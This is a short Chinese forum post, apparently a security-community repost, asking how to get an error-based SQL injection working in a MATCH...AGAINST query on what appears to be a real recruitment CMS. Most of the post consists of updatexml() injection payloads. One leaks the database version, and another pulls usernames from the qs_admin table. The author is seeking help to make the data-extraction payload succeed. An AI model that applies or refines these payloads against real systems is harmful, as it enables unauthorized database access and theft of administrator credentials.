报错注入优先报错的问题,有师傅指点一下吗?
2019-12-28 12:39:00 Author: xz.aliyun.com(查看原文) 阅读量:169 收藏

SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa");

目前的情况:以上代码aaa参数可控造成的显错注入,但是MATCH..AGAINST需要company_id的属性为fulltext,不然会报错如下图。

当构造语句执行数据库内置函数的时候,是可以优先报错内置函数的(version,database(),user())。

SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa") and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- a

但构造语句为查询语句,就会优先报错MATCH...AGAINST,如第一张图,因为company_id的属性不为fulltext。

SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa") and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x23) FROM qs_admin limit 0,1),0x7e),1) -- a

各位大佬有什么好的解决办法吗?


文章来源: http://xz.aliyun.com/t/7014
如有侵权请联系:admin#unsafe.sh